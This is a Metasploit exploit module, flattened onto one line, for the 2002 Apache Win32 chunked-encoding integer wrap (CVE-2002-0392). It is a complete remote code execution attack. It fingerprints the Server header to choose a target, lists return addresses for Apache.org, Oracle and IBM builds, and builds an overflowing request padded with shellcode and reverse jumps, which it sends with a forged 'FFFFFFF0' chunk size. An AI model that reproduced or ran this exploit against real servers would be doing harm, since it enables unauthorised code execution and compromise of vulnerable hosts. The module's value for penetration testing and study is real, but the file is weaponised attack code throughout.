Apache (Windows x86) – Chunked Encoding (Metasploit)
## # $Id: apache_chunked.rb 9719 2010-07-07 17:38:59Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking HttpFingerprint = { :pattern => [ /Apache/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Win32 Chunked Encoding', 'Description' => %q{ This module exploits the chunked transfer integer wrap vulnerability in Apache version 1.2.x to 1.3.24. This particular module has been tested with all versions of the official Win32 build between 1.3.9 and 1.3.24. Additionally, it should work against most co-branded and bundled versions of Apache (Oracle 8i, 9i, IBM HTTPD, etc). You will need to use the Check() functionality to determine the exact target version prior to launching the exploit. The version of Apache bundled with Oracle 8.1.7 will not automatically restart, so if you use the wrong target value, the server will crash. }, 'Author' => [ 'hdm', 'jduck' ], 'Version' => '$Revision: 9719 $', 'References' => [ [ 'CVE', '2002-0392' ], [ 'OSVDB', '838'], [ 'BID', '5033' ], [ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'], ], 'Privileged' => true, 'Platform' => 'win', 'Payload' => { 'Space' => 987, 'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20", 'MinNops' => 200, 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Targets' => [ [ 'Windows Generic Bruteforce', {} ], # Official Apache.org win32 builds [ 'Apache.org Build 1.3.9->1.3.19', { 'Ret' => 0x00401151, 'Pad' => [6,2,0,4,1,3,5,7] } ], [ 'Apache.org Build 1.3.22->1.3.24', { 'Ret' => 0x00401141, 'Pad' => [2,6,0,4,1,3,5,7] } ], [ 'Apache.org Build 1.3.19->1.3.24', { 'Ret' => 0x6ff6548d, 'Pad' => [2,6,0,4,1,3,5,7] } ], [ 'Apache.org Build 1.3.22', { 'Ret' => 0x6ff762ac, 'Pad' => [2,6,0,4,1,3,5,7] } ], # Return to Win9xConHook.dll via call ebx [ 'Apache.org Build 1.3.17->1.3.24 (Windows 2000)', { 'Ret' => 0x1c0f13e5, 'Pad' => [2,6,0,4,1,3,5,7] } ], # Return to Win9xConHook.dll via call esi [ 'Apache.org Build 1.3.17->1.3.24 (Windows NT)', { 'Ret' => 0x1c0f1033, 'Pad' => [2,6,0,4,1,3,5,7] } ], # Interesting return to PEB trick for Windows 2003 systems... [ 'Windows 2003 English SP0', { 'Ret' => 0x7ffc0638, 'Pad' => [2,6,5,4,1,3,0,7] } ], # Pop/Pop/Return on Windows 2000 [ 'Windows 2000 English', { 'Ret' => 0x75022ac4, 'Pad' => [2,6,5,4,1,3,0,7] } ], # Oracle HTTPD: [ 8.1.7 ] (one shot) # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 # OpenSSL/0.9.5a mod_perl/1.24 [ 'Oracle 8.1.7 Apache 1.3.12', { 'Ret' => 0x1d84d42c, 'Pad' => [7] } ], # Oracle HTTPD: [ 9.1.0 ] (multiple shots) # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 # OpenSSL/0.9.5a mod_perl/1.24 [ 'Oracle 9.1.0 Apache 1.3.12', { 'Ret' => 0x10016061, 'Pad' => [5,6,0,4,1,3,2,7] } ], # Oracle HTTPD: [ 9.2.0 ] (multiple shots) # Oracle HTTP Server Powered by Apache/1.3.22 (Win32) # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25 [ 'Oracle 9.2.0 Apache 1.3.22', { 'Ret' => 0x6ff6427a, 'Pad' => [5,6,0,4,1,3,2,7] } ], # Generic debugging targets [ 'Debugging Target', { 'Ret' => 0xcafebabe, 'Pad' => [0,1,2,3,4,5,6,7] } ] ], 'DisclosureDate' => 'Jun 19 2002', 'DefaultTarget' => 0)) end def check response = send_request_raw({'uri' => '/'}, 5) if response.nil? print_status("No response to request") return Exploit::CheckCode::Safe end http_fingerprint({ :response => response }) # Custom Server header matching code = Exploit::CheckCode::Appears case response['Server'] when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22" print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)") when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24" print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)") when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25" print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)") when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/ print_status("IBM backported the patch, this system is not vulnerable") code = Exploit::CheckCode::Safe when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/ else code = Exploit::CheckCode::Safe end if code == Exploit::CheckCode::Appears print_status("Vulnerable server: #{response['Server']}") else print_status("Server is probably not vulnerable: #{response['Server']}") end return code end def auto_target response = send_request_raw({'uri' => '/'}, 5) if response.nil? print_error("No response to request") return targets_to_try end http_fingerprint({ :response => response }) # Custom Server header matching / automatic target selection targets_to_try = [] server_hdr = response['Server'] print_status("Server: #{server_hdr}") case server_hdr when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22" targets_to_try.push(targets[9]) when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24" targets_to_try.push(targets[10]) when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25" targets_to_try.push(targets[11]) when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/ # fall through else # check for apache version ranges if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/) version = $1 #print_status("Apache version: #{version}") ver = version.split('.') if (ver.length == 3) major = ver[0].to_i minor = ver[1].to_i rev = ver[2].to_i if (major == 1 and minor == 3) targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19) targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24) targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24) targets_to_try.push(targets[4]) if (rev == 22) # Add the remaining targets, regardless of quality... if (server_hdr =~ /Win32/) # targets 4, 5, 6, 7 if (rev >= 17 and rev <= 24) targets_to_try.push(targets[5]) targets_to_try.push(targets[6]) end targets_to_try.push(targets[7]) targets_to_try.push(targets[8]) end end # Version 1.0 - 1.2, Fall through... end # ServerTokens setting isn't giving up enough information ... Might need to try? end # Not Apache? Fall through... end targets_to_try end # # If auto, ask the auto_target function for a list of # targets to try... # # If not auto, just try the selected target. # def exploit if target_index == 0 targs = auto_target print_status("Auto-targeting returned #{targs.length} candidates...") targs.each_with_index { |targ, idx| # Never try the debug target automatically :) next if targ.name =~ /Debug/ exploit_target(targ) } else exploit_target(target) end end def exploit_target(target) target['Pad'].each { |pad| pattern = rand_text_alphanumeric(3936) + payload.encoded + make_nops(6) + "\xe9" + [-900].pack('V') + "pP" + rand_text_alphanumeric(pad) # Move slightly further back to allow padding changes pattern += "\xeb\xf0\xde\xad" + [target.ret].pack('V') # Create a chain of return addresses and reverse jumps 254.times { |x| pattern += "\xeb\xf6\xbe\xef" + [target.ret].pack('V') } # Even out the request length based on the padding value # This is required to reliably hit the return address offset pattern += rand_text_alphanumeric(8 - pad) # # Regardless of what return we hit, execution jumps backwards to the shellcode: # _______________ _______________ ___________ # _________ _____________ | ________ | | ______ | | ______ # v | v | v v | | v v | | v v | # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret] # print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]") # Build the request send_request_raw({ 'uri' => '/', 'headers' => { 'Transfer-Encoding' => "CHUNKED" }, 'data' => "FFFFFFF0 " + pattern, }, 2) # Check the handler handler } end end |